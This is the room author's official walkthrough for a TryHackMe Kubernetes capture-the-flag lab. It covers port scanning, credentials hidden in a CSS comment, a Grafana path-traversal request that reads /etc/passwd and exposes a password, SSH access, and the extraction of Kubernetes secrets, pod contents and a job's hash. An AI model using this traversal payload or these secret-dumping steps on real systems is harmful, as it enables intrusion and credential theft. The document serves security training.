Skip to content

Kubernetes for Everyone - Official Tryhackme Writeup

Published: at 12:00 AM

This was my first ever TryHackMe room creation experience and it was fun as well.

Room link: https://tryhackme.com/jr/kubernetesforyouly

Kubernetes is a portable, extensible, open-source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. It has a large, rapidly growing ecosystem. Kubernetes services, support, and tools are widely available. Know more about Kubernetes Concept from official docs.

The services on the machine can take some time to start up, so give the machine a minute or two before starting the scan.

nmap -F <target-ip>
$ nmap -F <target-ip>
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-13 08:10 +0545
Nmap scan report for 10.10.144.177
Host is up (0.57s latency).
Not shown: 96 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
3000/tcp open  ppp
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 2.87 seconds

We can see that ports 3000 and 5000 are open typically running web services. Ports 22 and 111 are running SSH and rpcbind respectively. Let us enumerate each of these ports.

Port 22

$ nc -nvvv <target-ip> 22
Connection to <target-ip> 22 port [tcp/*] succeeded!
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3

This tells us that the target is probably running ubuntu.

Port 3000 & 5000

From our nmap scans, we were able to determine that web services are running on port 3000 and 5000 respectively. Sending a GET request to the target on ports.

Examining the ports on 5000, we found the web application running a simple game.

Check out the source code and we found URL source commented on main.css

$ curl http://<target-ip>:5000/static/css/main.css
@import url("https://fonts.googleapis.com/css2?family=Bowlby+One+SC&display=swap");
/* @import url("https://pastebin.com/cPs69B0y"); */
@import url("https://fonts.googleapis.com/css2?family=Vollkorn:wght@500&display=swap");

:root {
  --yellow: #f1ca3b;
  --black: #272727;
  --blue: #664aff;
  --black: #25252a;
  --red: rgb(255, 0, 68);
}
......

Go to the https://pastebin.com/cPs69B0y and decode via base32. We found the user.

$ curl http://<target-ip>:3000
<a href="/login">Found</a>.

Browsing the web URL, we find a page with running grafana services.

Looking out the version, we are able to find the CVE of it. Here is the exploit.

$ curl --path-as-is http://<target-ip>:3000/public/plugins/alertmanager/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:hereiamatctf907:/home/grafana:/sbin/nologin

we found the password.

Access the machine via ssh with user and password

$ ssh username@<target-ip>

Your Secret Crush

Make sure you are in root user after ssh.

$ k0s kubectl get secret
NAME                  TYPE                                  DATA   AGE
default-token-nhwb5   kubernetes.io/service-account-token   3      2d8h
k8s.authentication    Opaque                                1      2d8h

Let’s deep dive into k8s.authentication.

k0s kubectl get secret k8s.authentication -o json
{
    "apiVersion": "v1",
    "data": {
        "id": "value"
    },
    "kind": "Secret",
    "metadata": {
        "creationTimestamp": "2022-02-10T18:58:02Z",
        "name": "k8s.authentication",
        "namespace": "default",
        "resourceVersion": "515",
        "uid": "416e4783-03a8-4f92-8e91-8cbc491bf727"
    },
    "type": "Opaque"
}

Decode the base64 value.

$ echo "value" | base64 -d

Game of pod

List out all the available pods running containers in k0s cluster.

$ k0s kubectl get pod -A
NAMESPACE     NAME                              READY   STATUS      RESTARTS       AGE
internship    internship-job-5drbm              0/1     Completed   0              2d8h
kube-system   kube-proxy-jws4q                  1/1     Running     1 (102s ago)   2d8h
kube-system   kube-router-vsq85                 1/1     Running     1 (102s ago)   2d8h
kube-system   kube-api                          1/1     Running     1 (102s ago)   2d8h
kube-system   coredns-6d9f49dcbb-9vbff          1/1     Running     1 (102s ago)   2d8h
kube-system   metrics-server-74c967d8d4-pvv8l   1/1     Running     1 (102s ago)   2d8h

We have two new pods one is kube-api running container and another one is internship-job as a job. Let’s check pod as kube-api.

$ k0s kubectl exec -it kube-api -n kube-system -- /bin/bash
root@kube-api:/home/ubuntu# ls
jokes
root@kube-api:/home/ubuntu# cd jokes/
root@kube-api:/home/ubuntu/jokes# git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean
root@kube-api:/home/ubuntu/jokes# git log
commit 224b741fa904ee98c75913eafbefa12ac820659f (HEAD -> master, origin/master, origin/HEAD)
Author: Aju100 <[email protected]m>
Date:   Mon Feb 7 22:38:15 2022 +0545

    feat: add programming.jokes

commit 22cd540f3df22a2f373d95e145056d5370c058f5
Author: Aju100 <[email protected]m>
Date:   Mon Feb 7 22:37:41 2022 +0545

    feat: add crush.jokes

commit 4b2c2d74b31d922252368c112a3907c5c1cf1ba3
Author: Aju100 <[email protected]m>
Date:   Mon Feb 7 22:37:13 2022 +0545

    feat: add cold.joke

commit 2be20457c290fa1e8cc8d18cd5b546cec474691c
Author: Aju100 <[email protected]m>
root@kube-api:/home/ubuntu/jokes# git show 4b2c2d74b31d922252368c112a3907c5c1cf1ba3
commit 4b2c2d74b31d922252368c112a3907c5c1cf1ba3
Author: Aju100 <[email protected]m>
Date:   Mon Feb 7 22:37:13 2022 +0545

    feat: add cold.joke

diff --git a/king.jokes b/king.jokes
new file mode 100644
index 0000000..1b7d703
--- /dev/null
+++ b/king.jokes
@@ -0,0 +1 @@
+THM{value}
\ No newline at end of file
root@kube-api:/home/ubuntu/jokes#

We get a shell into the pod and find out the value via git previous commit.

Hack a job

List the job at namespace as an internship.

$ k0s kubectl get job -n internship
NAME             COMPLETIONS   DURATION   AGE
internship-job   1/1           3m10s      2d8h

Output the internship-job in yaml format to look more into it.

$ k0s kubectl get job -n internship -o yaml
apiVersion: v1
items:
- apiVersion: batch/v1
  kind: Job
  metadata:
    annotations:
      batch.kubernetes.io/job-tracking: ""
    creationTimestamp: "2022-02-10T18:55:33Z"
    generation: 1
    labels:
      controller-uid: 11cf55dc-7903-4b78-b9d3-62cf241ad26d
      job-name: internship-job
    name: internship-job
    namespace: internship
    resourceVersion: "579"
    uid: 11cf55dc-7903-4b78-b9d3-62cf241ad26d
  spec:
    backoffLimit: 6
    completionMode: NonIndexed
    completions: 1
    parallelism: 1
    selector:
      matchLabels:
        controller-uid: 11cf55dc-7903-4b78-b9d3-62cf241ad26d
    suspend: false
    template:
      metadata:
        creationTimestamp: null
        labels:
          controller-uid: 11cf55dc-7903-4b78-b9d3-62cf241ad26d
          job-name: internship-job
      spec:
        containers:
        - command:
          - echo
          - 26c3d1c068e7e01599c3612447410b5e56c779f1
          image: busybox
          imagePullPolicy: Always
          name: internship-job
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Never
        schedulerName: default-scheduler
        securityContext: {}
        terminationGracePeriodSeconds: 30
  status:
    completionTime: "2022-02-10T18:59:26Z"
    conditions:
    - lastProbeTime: "2022-02-10T18:59:26Z"
      lastTransitionTime: "2022-02-10T18:59:26Z"
      status: "True"
      type: Complete
    startTime: "2022-02-10T18:56:16Z"
    succeeded: 1
    uncountedTerminatedPods: {}
kind: List
metadata:
  resourceVersion: ""
  selfLink: ""

we can find the hash value right here on the internship-job job via yaml format.

containers:
        - command:
          - echo
          - 26c3d1c068e7e01599c3612447410b5e56c779f1

Decrypt the SHA1 hash and you get the value.

Even if you are new at it, Give it a try Kubernetes for Everyone. A simple friendly learning room. Hope this will be helpful for you.